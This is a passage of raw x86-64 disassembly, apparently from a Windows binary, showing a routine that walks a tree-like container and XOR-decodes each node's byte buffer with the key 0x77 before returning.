cmp byte [rax + 0x19], 0
jne 0x14000f559
mov rdx, rsi
mov rcx, qword [rax + 0x48]
cmp rcx, qword [rax + 0x40]
je 0x14000f4f8
nop
mov rcx, qword [rax + 0x40]
xor byte [rcx + rdx], 0x77
inc rdx
mov rcx, qword [rax + 0x48]
sub rcx, qword [rax + 0x40]
cmp rdx, rcx
jb 0x14000f4e0
mov rcx, qword [rax + 0x10]
cmp byte [rcx + 0x19], 0
je 0x14000f528
mov rcx, qword [rax + 8]
cmp byte [rcx + 0x19], 0
jne 0x14000f523
nop dword [rax]
cmp rax, qword [rcx + 0x10]
jne 0x14000f523
mov rax, rcx
mov rcx, qword [rcx + 8]
cmp byte [rcx + 0x19], 0
je 0x14000f510
mov rax, rcx
jmp 0x14000f54f
mov rax, rcx
mov rdx, qword [rcx]
cmp byte [rdx + 0x19], 0
jne 0x14000f54f
nop dword [rax]
nop dword [rax + rax]
mov rax, rdx
mov rcx, qword [rdx]
mov rdx, rcx
cmp byte [rcx + 0x19], 0
je 0x14000f540
cmp byte [rax + 0x19], 0
je 0x14000f4d2
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.140042fc0
int3
call fcn.140042fc0
int3